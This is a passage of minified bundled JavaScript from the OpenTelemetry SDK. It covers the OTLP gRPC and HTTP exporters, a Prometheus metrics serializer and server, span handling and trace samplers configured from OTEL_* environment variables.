z(this._parameters.address,this._parameters.credentials(),{"grpc.default_compression_algorithm":bO2(this._parameters.compression),"grpc.primary_user_agent":IO2(this._parameters.userAgent)})}catch(w){return Promise.resolve({status:"failure",error:w})}}return new Promise((Y)=>{let z=Date.now()+K;if(this._metadata==null)return Y({error:Error("metadata was null"),status:"failure"});this._client.export(q,this._metadata,{deadline:z},(w,H)=>{if(w)Y({status:"failure",error:w});else Y({data:H,status:"success"})})})}}br7.GrpcExporterTransport=wL6;function mO2(A){return new wL6(A)}br7.createOtlpGrpcExporterTransport=mO2});var Ur7=v((Fr7)=>{Object.defineProperty(Fr7,"__esModule",{value:!0});Fr7.getOtlpGrpcDefaultConfiguration=Fr7.mergeOtlpGrpcConfigurationWithDefaults=Fr7.validateAndNormalizeUrl=void 0;var mr7=EB(),uFA=xFA(),pO2=CA("url"),ur7=RK();function gr7(A){if(A=A.trim(),!A.match(/^([\w]{1,8}):\/\//))A=`https://${A}`;let q=new pO2.URL(A);if(q.protocol==="unix:")return A;if(q.pathname&&q.pathname!=="/")ur7.diag.warn("URL path should not be set when using grpc, the path part of the URL will be ignored.");if(q.protocol!==""&&!q.protocol?.match(/^(http)s?:$/))ur7.diag.warn("URL protocol should be http(s)://. Using http://.");return q.host}Fr7.validateAndNormalizeUrl=gr7;function Br7(A,K){for(let[q,Y]of Object.entries(K.getMap()))if(A.get(q).length<1)A.set(q,Y)}function dO2(A,K,q){let Y=A.url??K.url??q.url;return{...(0,mr7.mergeOtlpSharedConfigurationWithDefaults)(A,K,q),metadata:()=>{let z=q.metadata();return Br7(z,A.metadata?.().clone()??(0,uFA.createEmptyMetadata)()),Br7(z,K.metadata?.()??(0,uFA.createEmptyMetadata)()),z},url:gr7(Y),credentials:A.credentials??K.credentials?.(Y)??q.credentials(Y),userAgent:A.userAgent}}Fr7.mergeOtlpGrpcConfigurationWithDefaults=dO2;function cO2(){return{...(0,mr7.getSharedConfigurationDefaults)(),metadata:()=>(0,uFA.createEmptyMetadata)(),url:"http://localhost:4317",credentials:(A)=>{if(A.startsWith("http://"))return()=>(0,uFA.createInsecureCredentials)();else return()=>(0,uFA.createSslCredentials)()}}}Fr7.getOtlpGrpcDefaultConfiguration=cO2});var rr7=v((ir7)=>{Object.defineProperty(ir7,"__esModule",{value:!0});ir7.getOtlpGrpcConfigurationFromEnv=void 0;var pr7=P9(),BFA=xFA(),nO2=sp(),rO2=CA("fs"),oO2=CA("path"),cr7=RK();function HL6(A,K){if(A!=null&&A!=="")return A;if(K!=null&&K!=="")return K;return}function aO2(A){let K=process.env[`OTEL_EXPORTER_OTLP_${A}_HEADERS`]?.trim(),q=process.env.OTEL_EXPORTER_OTLP_HEADERS?.trim(),Y=(0,pr7.parseKeyPairsIntoRecord)(K),z=(0,pr7.parseKeyPairsIntoRecord)(q);if(Object.keys(Y).length===0&&Object.keys(z).length===0)return;let w=Object.assign({},z,Y),H=(0,BFA.createEmptyMetadata)();for(let[J,O]of Object.entries(w))H.set(J,O);return H}function sO2(A){let K=aO2(A);if(K==null)return;return()=>K}function tO2(A){let K=process.env[`OTEL_EXPORTER_OTLP_${A}_ENDPOINT`]?.trim(),q=process.env.OTEL_EXPORTER_OTLP_ENDPOINT?.trim();return HL6(K,q)}function eO2(A){let K=process.env[`OTEL_EXPORTER_OTLP_${A}_INSECURE`]?.toLowerCase().trim(),q=process.env.OTEL_EXPORTER_OTLP_INSECURE?.toLowerCase().trim();return HL6(K,q)==="true"}function JL6(A,K,q){let Y=process.env[A]?.trim(),z=process.env[K]?.trim(),w=HL6(Y,z);if(w!=null)try{return rO2.readFileSync(oO2.resolve(process.cwd(),w))}catch{cr7.diag.warn(q);return}else return}function A02(A){return JL6(`OTEL_EXPORTER_OTLP_${A}_CLIENT_CERTIFICATE`,"OTEL_EXPORTER_OTLP_CLIENT_CERTIFICATE","Failed to read client certificate chain file")}function K02(A){return JL6(`OTEL_EXPORTER_OTLP_${A}_CLIENT_KEY`,"OTEL_EXPORTER_OTLP_CLIENT_KEY","Failed to read client certificate private key file")}function dr7(A){return JL6(`OTEL_EXPORTER_OTLP_${A}_CERTIFICATE`,"OTEL_EXPORTER_OTLP_CERTIFICATE","Failed to read root certificate file")}function lr7(A){let K=K02(A),q=A02(A),Y=dr7(A),z=K!=null&&q!=null;if(Y!=null&&!z)return cr7.diag.warn("Client key and certificate must both be provided, but one was missing - attempting to create credentials from just the root certificate"),(0,BFA.createSslCredentials)(dr7(A));return(0,BFA.createSslCredentials)(Y,K,q)}function q02(A){if(eO2(A))return(0,BFA.createInsecureCredentials)();return lr7(A)}function Y02(A){return{...(0,nO2.getSharedConfigurationFromEnvironment)(A),metadata:sO2(A),url:tO2(A),credentials:(K)=>{if(K.startsWith("http://"))return()=>{return(0,BFA.createInsecureCredentials)()};else if(K.startsWith("https://"))return()=>{return lr7(A)};return()=>{return q02(A)}}}}ir7.getOtlpGrpcConfigurationFromEnv=Y02});var tr7=v((ar7)=>{Object.defineProperty(ar7,"__esModule",{value:!0});ar7.convertLegacyOtlpGrpcOptions=void 0;var z02=RK(),or7=Ur7(),w02=xFA(),H02=rr7();function J02(A,K){if(A.headers)z02.diag.warn("Headers cannot be set when using grpc");let q=A.credentials;return(0,or7.mergeOtlpGrpcConfigurationWithDefaults)({url:A.url,metadata:()=>{return A.metadata??(0,w02.createEmptyMetadata)()},compression:A.compression,timeoutMillis:A.timeoutMillis,concurrencyLimit:A.concurrencyLimit,credentials:q!=null?()=>q:void 0,userAgent:A.userAgent},(0,H02.getOtlpGrpcConfigurationFromEnv)(K),(0,or7.getOtlpGrpcDefaultConfiguration)())}ar7.convertLegacyOtlpGrpcOptions=J02});var Ko7=v((er7)=>{Object.defineProperty(er7,"__esModule",{value:!0});er7.createOtlpGrpcExportDelegate=void 0;var O02=EB(),X02=xFA();function $02(A,K,q,Y){return(0,O02.createOtlpNetworkExportDelegate)(A,K,(0,X02.createOtlpGrpcExporterTransport)({address:A.url,compression:A.compression,credentials:A.credentials,metadata:A.metadata,userAgent:A.userAgent,grpcName:q,grpcPath:Y}))}er7.createOtlpGrpcExportDelegate=$02});var ij1=v((lj1)=>{Object.defineProperty(lj1,"__esModule",{value:!0});lj1.createOtlpGrpcExportDelegate=lj1.convertLegacyOtlpGrpcOptions=void 0;var _02=tr7();Object.defineProperty(lj1,"convertLegacyOtlpGrpcOptions",{enumerable:!0,get:function(){return _02.convertLegacyOtlpGrpcOptions}});var G02=Ko7();Object.defineProperty(lj1,"createOtlpGrpcExportDelegate",{enumerable:!0,get:function(){return G02.createOtlpGrpcExportDelegate}})});var Ho7=v((zo7)=>{Object.defineProperty(zo7,"__esModule",{value:!0});zo7.OTLPMetricExporter=void 0;var W02=fD1(),qo7=ij1(),D02=LB();class Yo7 extends W02.OTLPMetricExporterBase{constructor(A){super((0,qo7.createOtlpGrpcExportDelegate)((0,qo7.convertLegacyOtlpGrpcOptions)(A??{},"METRICS"),D02.ProtobufMetricsSerializer,"MetricsExportService","/opentelemetry.proto.collector.metrics.v1.MetricsService/Export"),A)}}zo7.OTLPMetricExporter=Yo7});var Jo7=v((OL6)=>{Object.defineProperty(OL6,"__esModule",{value:!0});OL6.OTLPMetricExporter=void 0;var j02=Ho7();Object.defineProperty(OL6,"OTLPMetricExporter",{enumerable:!0,get:function(){return j02.OTLPMetricExporter}})});var _L6=v((_o7)=>{Object.defineProperty(_o7,"__esModule",{value:!0});_o7.PrometheusSerializer=void 0;var P02=RK(),H3A=ss(),Oo7=P9();function rj1(A){return A.replace(/\\/g,"\\\\").replace(/\n/g,"\\n")}function Xo7(A=""){if(typeof A!=="string")A=JSON.stringify(A);return rj1(A).replace(/"/g,"\\\"")}var V02=/[^a-z0-9_]/gi,f02=/_{2,}/g;function $L6(A){return A.replace(V02,"_").replace(f02,"_")}function XL6(A,K){if(!A.endsWith("_total")&&K.dataPointType===H3A.DataPointType.SUM&&K.isMonotonic)A=A+"_total";return A}function N02(A){if(A===1/0)return"+Inf";else if(A===-1/0)return"-Inf";else return`${A}`}function T02(A){switch(A.dataPointType){case H3A.DataPointType.SUM:if(A.isMonotonic)return"counter";return"gauge";case H3A.DataPointType.GAUGE:return"gauge";case H3A.DataPointType.HISTOGRAM:return"histogram";default:return"untyped"}}function nj1(A,K,q,Y,z){let w=!1,H="";for(let[J,O]of Object.entries(K)){let X=$L6(J);w=!0,H+=`${H.length>0?",":""}${X}="${Xo7(O)}"`}if(z)for(let[J,O]of Object.entries(z)){let X=$L6(J);w=!0,H+=`${H.length>0?",":""}${X}="${Xo7(O)}"`}if(w)A+=`{${H}}`;return`${A} ${N02(q)}${Y!==void 0?" "+String(Y):""} `}var v02="# no registered metrics";class $o7{_prefix;_appendTimestamp;_additionalAttributes;_withResourceConstantLabels;_withoutTargetInfo;constructor(A,K=!1,q,Y){if(A)this._prefix=A+"_";this._appendTimestamp=K,this._withResourceConstantLabels=q,this._withoutTargetInfo=!!Y}serialize(A){let K="";this._additionalAttributes=this._filterResourceConstantLabels(A.resource.attributes,this._withResourceConstantLabels);for(let q of A.scopeMetrics)K+=this._serializeScopeMetrics(q);if(K==="")K+=v02;return this._serializeResource(A.resource)+K}_filterResourceConstantLabels(A,K){if(K){let q={};for(let[Y,z]of Object.entries(A))if(Y.match(K))q[Y]=z;return q}return}_serializeScopeMetrics(A){let K="";for(let q of A.metrics)K+=this._serializeMetricData(q)+` `;return K}_serializeMetricData(A){let K=$L6(rj1(A.descriptor.name));if(this._prefix)K=`${this._prefix}${K}`;let q=A.dataPointType;K=XL6(K,A);let Y=`# HELP ${K} ${rj1(A.descriptor.description||"description missing")}`,z=A.descriptor.unit?` # UNIT ${K} ${rj1(A.descriptor.unit)}`:"",w=`# TYPE ${K} ${T02(A)}`,H="";switch(q){case H3A.DataPointType.SUM:case H3A.DataPointType.GAUGE:{H=A.dataPoints.map((J)=>this._serializeSingularDataPoint(K,A,J)).join("");break}case H3A.DataPointType.HISTOGRAM:{H=A.dataPoints.map((J)=>this._serializeHistogramDataPoint(K,A,J)).join("");break}default:P02.diag.error(`Unrecognizable DataPointType: ${q} for metric "${K}"`)}return`${Y}${z} ${w} ${H}`.trim()}_serializeSingularDataPoint(A,K,q){let Y="";A=XL6(A,K);let{value:z,attributes:w}=q,H=(0,Oo7.hrTimeToMilliseconds)(q.endTime);return Y+=nj1(A,w,z,this._appendTimestamp?H:void 0,this._additionalAttributes),Y}_serializeHistogramDataPoint(A,K,q){let Y="";A=XL6(A,K);let{attributes:z,value:w}=q,H=(0,Oo7.hrTimeToMilliseconds)(q.endTime);for(let $ of["count","sum"]){let _=w[$];if(_!=null)Y+=nj1(A+"_"+$,z,_,this._appendTimestamp?H:void 0,this._additionalAttributes)}let J=0,O=w.buckets.counts.entries(),X=!1;for(let[$,_]of O){J+=_;let G=w.buckets.boundaries[$];if(G===void 0&&X)break;if(G===1/0)X=!0;Y+=nj1(A+"_bucket",z,J,this._appendTimestamp?H:void 0,Object.assign({},this._additionalAttributes??{},{le:G===void 0||G===1/0?"+Inf":String(G)}))}return Y}_serializeResource(A){if(this._withoutTargetInfo===!0)return"";let K="target_info",q=`# HELP ${K} Target metadata`,Y=`# TYPE ${K} gauge`,z=nj1(K,A.attributes,1).trim();return`${q} ${Y} ${z} `}}_o7.PrometheusSerializer=$o7});var Do7=v((Zo7)=>{Object.defineProperty(Zo7,"__esModule",{value:!0});Zo7.PrometheusExporter=void 0;var mFA=RK(),E02=P9(),GL6=ss(),k02=CA("http"),C02=_L6(),L02=CA("url");class Od extends GL6.MetricReader{static DEFAULT_OPTIONS={host:void 0,port:9464,endpoint:"/metrics",prefix:"",appendTimestamp:!1,withResourceConstantLabels:void 0,withoutTargetInfo:!1};_host;_port;_baseUrl;_endpoint;_server;_prefix;_appendTimestamp;_serializer;_startServerPromise;constructor(A={},K=()=>{}){super({aggregationSelector:(z)=>{return{type:GL6.AggregationType.DEFAULT}},aggregationTemporalitySelector:(z)=>GL6.AggregationTemporality.CUMULATIVE,metricProducers:A.metricProducers});this._host=A.host||process.env.OTEL_EXPORTER_PROMETHEUS_HOST||Od.DEFAULT_OPTIONS.host,this._port=A.port||Number(process.env.OTEL_EXPORTER_PROMETHEUS_PORT)||Od.DEFAULT_OPTIONS.port,this._prefix=A.prefix||Od.DEFAULT_OPTIONS.prefix,this._appendTimestamp=typeof A.appendTimestamp==="boolean"?A.appendTimestamp:Od.DEFAULT_OPTIONS.appendTimestamp;let q=A.withResourceConstantLabels||Od.DEFAULT_OPTIONS.withResourceConstantLabels,Y=A.withoutTargetInfo||Od.DEFAULT_OPTIONS.withoutTargetInfo;if(this._server=(0,k02.createServer)(this._requestHandler).unref(),this._serializer=new C02.PrometheusSerializer(this._prefix,this._appendTimestamp,q,Y),this._baseUrl=`http://${this._host}:${this._port}/`,this._endpoint=(A.endpoint||Od.DEFAULT_OPTIONS.endpoint).replace(/^([^/])/,"/$1"),A.preventServerStart!==!0)this.startServer().then(K,(z)=>{mFA.diag.error(z),K(z)});else if(K)queueMicrotask(K)}async onForceFlush(){}onShutdown(){return this.stopServer()}stopServer(){if(!this._server)return mFA.diag.debug("Prometheus stopServer() was called but server was never started."),Promise.resolve();else return new Promise((A)=>{this._server.close((K)=>{if(!K)mFA.diag.debug("Prometheus exporter was stopped");else if(K.code!=="ERR_SERVER_NOT_RUNNING")(0,E02.globalErrorHandler)(K);A()})})}startServer(){return this._startServerPromise??=new Promise((A,K)=>{this._server.once("error",K),this._server.listen({port:this._port,host:this._host},()=>{mFA.diag.debug(`Prometheus exporter server started: ${this._host}:${this._port}/${this._endpoint}`),A()})}),this._startServerPromise}getMetricsRequestHandler(A,K){this._exportMetrics(K)}_requestHandler=(A,K)=>{if(A.url!=null&&new L02.URL(A.url,this._baseUrl).pathname===this._endpoint)this._exportMetrics(K);else this._notFound(K)};_exportMetrics=(A)=>{A.statusCode=200,A.setHeader("content-type","text/plain"),this.collect().then((K)=>{let{resourceMetrics:q,errors:Y}=K;if(Y.length)mFA.diag.error("PrometheusExporter: metrics collection errors",...Y);A.end(this._serializer.serialize(q))},(K)=>{A.end(`# failed to export metrics: ${K}`)})};_notFound=(A)=>{A.statusCode=404,A.end()}}Zo7.PrometheusExporter=Od});var jo7=v((oj1)=>{Object.defineProperty(oj1,"__esModule",{value:!0});oj1.PrometheusSerializer=oj1.PrometheusExporter=void 0;var R02=Do7();Object.defineProperty(oj1,"PrometheusExporter",{enumerable:!0,get:function(){return R02.PrometheusExporter}});var y02=_L6();Object.defineProperty(oj1,"PrometheusSerializer",{enumerable:!0,get:function(){return y02.PrometheusSerializer}})});var No7=v((Vo7)=>{Object.defineProperty(Vo7,"__esModule",{value:!0});Vo7.OTLPLogExporter=void 0;var S02=EB(),h02=LB(),Mo7=sp();class Po7 extends S02.OTLPExporterBase{constructor(A={}){super((0,Mo7.createOtlpHttpExportDelegate)((0,Mo7.convertLegacyHttpOptions)(A,"LOGS","v1/logs",{"Content-Type":"application/x-protobuf"}),h02.ProtobufLogsSerializer))}}Vo7.OTLPLogExporter=Po7});var To7=v((ZL6)=>{Object.defineProperty(ZL6,"__esModule",{value:!0});ZL6.OTLPLogExporter=void 0;var b02=No7();Object.defineProperty(ZL6,"OTLPLogExporter",{enumerable:!0,get:function(){return b02.OTLPLogExporter}})});var vo7=v((WL6)=>{Object.defineProperty(WL6,"__esModule",{value:!0});WL6.OTLPLogExporter=void 0;var u02=To7();Object.defineProperty(WL6,"OTLPLogExporter",{enumerable:!0,get:function(){return u02.OTLPLogExporter}})});var Eo7=v((DL6)=>{Object.defineProperty(DL6,"__esModule",{value:!0});DL6.OTLPLogExporter=void 0;var m02=vo7();Object.defineProperty(DL6,"OTLPLogExporter",{enumerable:!0,get:function(){return m02.OTLPLogExporter}})});var yo7=v((Lo7)=>{Object.defineProperty(Lo7,"__esModule",{value:!0});Lo7.OTLPLogExporter=void 0;var ko7=ij1(),F02=LB(),Q02=EB();class Co7 extends Q02.OTLPExporterBase{constructor(A={}){super((0,ko7.createOtlpGrpcExportDelegate)((0,ko7.convertLegacyOtlpGrpcOptions)(A,"LOGS"),F02.ProtobufLogsSerializer,"LogsExportService","/opentelemetry.proto.collector.logs.v1.LogsService/Export"))}}Lo7.OTLPLogExporter=Co7});var Io7=v((jL6)=>{Object.defineProperty(jL6,"__esModule",{value:!0});jL6.OTLPLogExporter=void 0;var U02=yo7();Object.defineProperty(jL6,"OTLPLogExporter",{enumerable:!0,get:function(){return U02.OTLPLogExporter}})});var uo7=v((bo7)=>{Object.defineProperty(bo7,"__esModule",{value:!0});bo7.OTLPLogExporter=void 0;var d02=EB(),c02=LB(),So7=sp();class ho7 extends d02.OTLPExporterBase{constructor(A={}){super((0,So7.createOtlpHttpExportDelegate)((0,So7.convertLegacyHttpOptions)(A,"LOGS","v1/logs",{"Content-Type":"application/json"}),c02.JsonLogsSerializer))}}bo7.OTLPLogExporter=ho7});var Bo7=v((ML6)=>{Object.defineProperty(ML6,"__esModule",{value:!0});ML6.OTLPLogExporter=void 0;var l02=uo7();Object.defineProperty(ML6,"OTLPLogExporter",{enumerable:!0,get:function(){return l02.OTLPLogExporter}})});var mo7=v((PL6)=>{Object.defineProperty(PL6,"__esModule",{value:!0});PL6.OTLPLogExporter=void 0;var n02=Bo7();Object.defineProperty(PL6,"OTLPLogExporter",{enumerable:!0,get:function(){return n02.OTLPLogExporter}})});var go7=v((VL6)=>{Object.defineProperty(VL6,"__esModule",{value:!0});VL6.OTLPLogExporter=void 0;var o02=mo7();Object.defineProperty(VL6,"OTLPLogExporter",{enumerable:!0,get:function(){return o02.OTLPLogExporter}})});var Uo7=v((Fo7)=>{Object.defineProperty(Fo7,"__esModule",{value:!0});Fo7.ExceptionEventName=void 0;Fo7.ExceptionEventName="exception"});var lo7=v((do7)=>{Object.defineProperty(do7,"__esModule",{value:!0});do7.SpanImpl=void 0;var ZL=RK(),_j=P9(),J3A=Q4A(),s02=Uo7();class po7{_spanContext;kind;parentSpanContext;attributes={};links=[];events=[];startTime;resource;instrumentationScope;_droppedAttributesCount=0;_droppedEventsCount=0;_droppedLinksCount=0;name;status={code:ZL.SpanStatusCode.UNSET};endTime=[0,0];_ended=!1;_duration=[-1,-1];_spanProcessor;_spanLimits;_attributeValueLengthLimit;_performanceStartTime;_performanceOffset;_startTimeProvided;constructor(A){let K=Date.now();if(this._spanContext=A.spanContext,this._performanceStartTime=_j.otperformance.now(),this._performanceOffset=K-(this._performanceStartTime+(0,_j.getTimeOrigin)()),this._startTimeProvided=A.startTime!=null,this._spanLimits=A.spanLimits,this._attributeValueLengthLimit=this._spanLimits.attributeValueLengthLimit||0,this._spanProcessor=A.spanProcessor,this.name=A.name,this.parentSpanContext=A.parentSpanContext,this.kind=A.kind,this.links=A.links||[],this.startTime=this._getTime(A.startTime??K),this.resource=A.resource,this.instrumentationScope=A.scope,A.attributes!=null)this.setAttributes(A.attributes);this._spanProcessor.onStart(this,A.context)}spanContext(){return this._spanContext}setAttribute(A,K){if(K==null||this._isSpanEnded())return this;if(A.length===0)return ZL.diag.warn(`Invalid attribute key: ${A}`),this;if(!(0,_j.isAttributeValue)(K))return ZL.diag.warn(`Invalid attribute value set for key: ${A}`),this;let{attributeCountLimit:q}=this._spanLimits;if(q!==void 0&&Object.keys(this.attributes).length>=q&&!Object.prototype.hasOwnProperty.call(this.attributes,A))return this._droppedAttributesCount++,this;return this.attributes[A]=this._truncateToSize(K),this}setAttributes(A){for(let[K,q]of Object.entries(A))this.setAttribute(K,q);return this}addEvent(A,K,q){if(this._isSpanEnded())return this;let{eventCountLimit:Y}=this._spanLimits;if(Y===0)return ZL.diag.warn("No events allowed."),this._droppedEventsCount++,this;if(Y!==void 0&&this.events.length>=Y){if(this._droppedEventsCount===0)ZL.diag.debug("Dropping extra events.");this.events.shift(),this._droppedEventsCount++}if((0,_j.isTimeInput)(K)){if(!(0,_j.isTimeInput)(q))q=K;K=void 0}let z=(0,_j.sanitizeAttributes)(K);return this.events.push({name:A,attributes:z,time:this._getTime(q),droppedAttributesCount:0}),this}addLink(A){return this.links.push(A),this}addLinks(A){return this.links.push(...A),this}setStatus(A){if(this._isSpanEnded())return this;if(this.status={...A},this.status.message!=null&&typeof A.message!=="string")ZL.diag.warn(`Dropping invalid status.message of type '${typeof A.message}', expected 'string'`),delete this.status.message;return this}updateName(A){if(this._isSpanEnded())return this;return this.name=A,this}end(A){if(this._isSpanEnded()){ZL.diag.error(`${this.name} ${this._spanContext.traceId}-${this._spanContext.spanId} - You can only call end() on a span once.`);return}if(this._ended=!0,this.endTime=this._getTime(A),this._duration=(0,_j.hrTimeDuration)(this.startTime,this.endTime),this._duration[0]<0)ZL.diag.warn("Inconsistent start and end time, startTime > endTime. Setting span duration to 0ms.",this.startTime,this.endTime),this.endTime=this.startTime.slice(),this._duration=[0,0];if(this._droppedEventsCount>0)ZL.diag.warn(`Dropped ${this._droppedEventsCount} events because eventCountLimit reached`);this._spanProcessor.onEnd(this)}_getTime(A){if(typeof A==="number"&&A<=_j.otperformance.now())return(0,_j.hrTime)(A+this._performanceOffset);if(typeof A==="number")return(0,_j.millisToHrTime)(A);if(A instanceof Date)return(0,_j.millisToHrTime)(A.getTime());if((0,_j.isTimeInputHrTime)(A))return A;if(this._startTimeProvided)return(0,_j.millisToHrTime)(Date.now());let K=_j.otperformance.now()-this._performanceStartTime;return(0,_j.addHrTimes)(this.startTime,(0,_j.millisToHrTime)(K))}isRecording(){return this._ended===!1}recordException(A,K){let q={};if(typeof A==="string")q[J3A.ATTR_EXCEPTION_MESSAGE]=A;else if(A){if(A.code)q[J3A.ATTR_EXCEPTION_TYPE]=A.code.toString();else if(A.name)q[J3A.ATTR_EXCEPTION_TYPE]=A.name;if(A.message)q[J3A.ATTR_EXCEPTION_MESSAGE]=A.message;if(A.stack)q[J3A.ATTR_EXCEPTION_STACKTRACE]=A.stack}if(q[J3A.ATTR_EXCEPTION_TYPE]||q[J3A.ATTR_EXCEPTION_MESSAGE])this.addEvent(s02.ExceptionEventName,q,K);else ZL.diag.warn(`Failed to record an exception ${A}`)}get duration(){return this._duration}get ended(){return this._ended}get droppedAttributesCount(){return this._droppedAttributesCount}get droppedEventsCount(){return this._droppedEventsCount}get droppedLinksCount(){return this._droppedLinksCount}_isSpanEnded(){if(this._ended){let A=Error(`Operation attempted on ended Span {traceId: ${this._spanContext.traceId}, spanId: ${this._spanContext.spanId}}`);ZL.diag.warn(`Cannot execute the operation on ended Span {traceId: ${this._spanContext.traceId}, spanId: ${this._spanContext.spanId}}`,A)}return this._ended}_truncateToLimitUtil(A,K){if(A.length<=K)return A;return A.substring(0,K)}_truncateToSize(A){let K=this._attributeValueLengthLimit;if(K<=0)return ZL.diag.warn(`Attribute value limit must be positive, got ${K}`),A;if(typeof A==="string")return this._truncateToLimitUtil(A,K);if(Array.isArray(A))return A.map((q)=>typeof q==="string"?this._truncateToLimitUtil(q,K):q);return A}}do7.SpanImpl=po7});var gFA=v((io7)=>{Object.defineProperty(io7,"__esModule",{value:!0});io7.SamplingDecision=void 0;var t02;(function(A){A[A.NOT_RECORD=0]="NOT_RECORD",A[A.RECORD=1]="RECORD",A[A.RECORD_AND_SAMPLED=2]="RECORD_AND_SAMPLED"})(t02=io7.SamplingDecision||(io7.SamplingDecision={}))});var aj1=v((ro7)=>{Object.defineProperty(ro7,"__esModule",{value:!0});ro7.AlwaysOffSampler=void 0;var e02=gFA();class no7{shouldSample(){return{decision:e02.SamplingDecision.NOT_RECORD}}toString(){return"AlwaysOffSampler"}}ro7.AlwaysOffSampler=no7});var sj1=v((so7)=>{Object.defineProperty(so7,"__esModule",{value:!0});so7.AlwaysOnSampler=void 0;var AX2=gFA();class ao7{shouldSample(){return{decision:AX2.SamplingDecision.RECORD_AND_SAMPLED}}toString(){return"AlwaysOnSampler"}}so7.AlwaysOnSampler=ao7});var TL6=v((Ka7)=>{Object.defineProperty(Ka7,"__esModule",{value:!0});Ka7.ParentBasedSampler=void 0;var tj1=RK(),KX2=P9(),eo7=aj1(),NL6=sj1();class Aa7{_root;_remoteParentSampled;_remoteParentNotSampled;_localParentSampled;_localParentNotSampled;constructor(A){if(this._root=A.root,!this._root)(0,KX2.globalErrorHandler)(Error("ParentBasedSampler must have a root sampler configured")),this._root=new NL6.AlwaysOnSampler;this._remoteParentSampled=A.remoteParentSampled??new NL6.AlwaysOnSampler,this._remoteParentNotSampled=A.remoteParentNotSampled??new eo7.AlwaysOffSampler,this._localParentSampled=A.localParentSampled??new NL6.AlwaysOnSampler,this._localParentNotSampled=A.localParentNotSampled??new eo7.AlwaysOffSampler}shouldSample(A,K,q,Y,z,w){let H=tj1.trace.getSpanContext(A);if(!H||!(0,tj1.isSpanContextValid)(H))return this._root.shouldSample(A,K,q,Y,z,w);if(H.isRemote){if(H.traceFlags&tj1.TraceFlags.SAMPLED)return this._remoteParentSampled.shouldSample(A,K,q,Y,z,w);return this._remoteParentNotSampled.shouldSample(A,K,q,Y,z,w)}if(H.traceFlags&tj1.TraceFlags.SAMPLED)return this._localParentSampled.shouldSample(A,K,q,Y,z,w);return this._localParentNotSampled.shouldSample(A,K,q,Y,z,w)}toString(){return`ParentBased{root=${this._root.toString()}, remoteParentSampled=${this._remoteParentSampled.toString()}, remoteParentNotSampled=${this._remoteParentNotSampled.toString()}, localParentSampled=${this._localParentSampled.toString()}, localParentNotSampled=${this._localParentNotSampled.toString()}}`}}Ka7.ParentBasedSampler=Aa7});var vL6=v((wa7)=>{Object.defineProperty(wa7,"__esModule",{value:!0});wa7.TraceIdRatioBasedSampler=void 0;var qX2=RK(),Ya7=gFA();class za7{_ratio;_upperBound;constructor(A=0){this._ratio=A,this._ratio=this._normalize(A),this._upperBound=Math.floor(this._ratio*4294967295)}shouldSample(A,K){return{decision:(0,qX2.isValidTraceId)(K)&&this._accumulate(K)<this._upperBound?Ya7.SamplingDecision.RECORD_AND_SAMPLED:Ya7.SamplingDecision.NOT_RECORD}}toString(){return`TraceIdRatioBased{${this._ratio}}`}_normalize(A){if(typeof A!=="number"||isNaN(A))return 0;return A>=1?1:A<=0?0:A}_accumulate(A){let K=0;for(let q=0;q<A.length/8;q++){let Y=q*8,z=parseInt(A.slice(Y,Y+8),16);K=(K^z)>>>0}return K}}wa7.TraceIdRatioBasedSampler=za7});var CL6=v((_a7)=>{Object.defineProperty(_a7,"__esModule",{value:!0});_a7.buildSamplerFromEnv=_a7.loadDefaultConfig=void 0;var kL6=RK(),UB=P9(),Ja7=aj1(),EL6=sj1(),ej1=TL6(),Oa7=vL6(),pB;(function(A){A.AlwaysOff="always_off",A.AlwaysOn="always_on",A.ParentBasedAlwaysOff="parentbased_always_off",A.ParentBasedAlwaysOn="parentbased_always_on",A.ParentBasedTraceIdRatio="parentbased_traceidratio",A.TraceIdRatio="traceidratio"})(pB||(pB={}));var AM1=1;function YX2(){return{sampler:$a7(),forceFlushTimeoutMillis:30000,generalLimits:{attributeValueLengthLimit:(0,UB.getNumberFromEnv)("OTEL_ATTRIBUTE_VALUE_LENGTH_LIMIT")??1/0,attributeCountLimit:(0,UB.getNumberFromEnv)("OTEL_ATTRIBUTE_COUNT_LIMIT")??128},spanLimits:{attributeValueLengthLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_VALUE_LENGTH_LIMIT")??1/0,attributeCountLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_COUNT_LIMIT")??128,linkCountLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_LINK_COUNT_LIMIT")??128,eventCountLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_EVENT_COUNT_LIMIT")??128,attributePerEventCountLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_PER_EVENT_COUNT_LIMIT")??128,attributePerLinkCountLimit:(0,UB.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_PER_LINK_COUNT_LIMIT")??128}}}_a7.loadDefaultConfig=YX2;function $a7(){let A=(0,UB.getStringFromEnv)("OTEL_TRACES_SAMPLER")??pB.ParentBasedAlwaysOn;switch(A){case pB.AlwaysOn:return new EL6.AlwaysOnSampler;case pB.AlwaysOff:return new Ja7.AlwaysOffSampler;case pB.ParentBasedAlwaysOn:return new ej1.ParentBasedSampler({root:new EL6.AlwaysOnSampler});case pB.ParentBasedAlwaysOff:return new ej1.ParentBasedSampler({root:new Ja7.AlwaysOffSampler});case pB.TraceIdRatio:return new Oa7.TraceIdRatioBasedSampler(Xa7());case pB.ParentBasedTraceIdRatio:return new ej1.ParentBasedSampler({root:new Oa7.TraceIdRatioBasedSampler(Xa7())});default:return kL6.diag.error(`OTEL_TRACES_SAMPLER value "${A}" invalid, defaulting to "${pB.ParentBasedAlwaysOn}".`),new ej1.ParentBasedSampler({root:new EL6.AlwaysOnSampler})}}_a7.buildSamplerFromEnv=$a7;function Xa7(){let A=(0,UB.getNumberFromEnv)("OTEL_TRACES_SAMPLER_ARG");if(A==null)return kL6.diag.error(`OTEL_TRACES_SAMPLER_ARG is blank, defaulting to ${AM1}.`),AM1;if(A<0||A>1)return kL6.diag.error(`OTEL_TRACES_SAMPLER_ARG=${A} was given, but it is out of range ([0..1]), defaulting to ${AM1}.`),AM1;return A}});var LL6=v((Wa7)=>{Object.defineProperty(Wa7,"__esModule",{value:!0});Wa7.reconfigureLimits=Wa7.mergeConfig=Wa7.DEFAULT_ATTRIBUTE_VALUE_LENGTH_LIMIT=Wa7.DEFAULT_ATTRIBUTE_COUNT_LIMIT=void 0;var Za7=CL6(),KM1=P9();Wa7.DEFAULT_ATTRIBUTE_COUNT_LIMIT=128;Wa7.DEFAULT_ATTRIBUTE_VALUE_LENGTH_LIMIT=1/0;function wX2(A){let 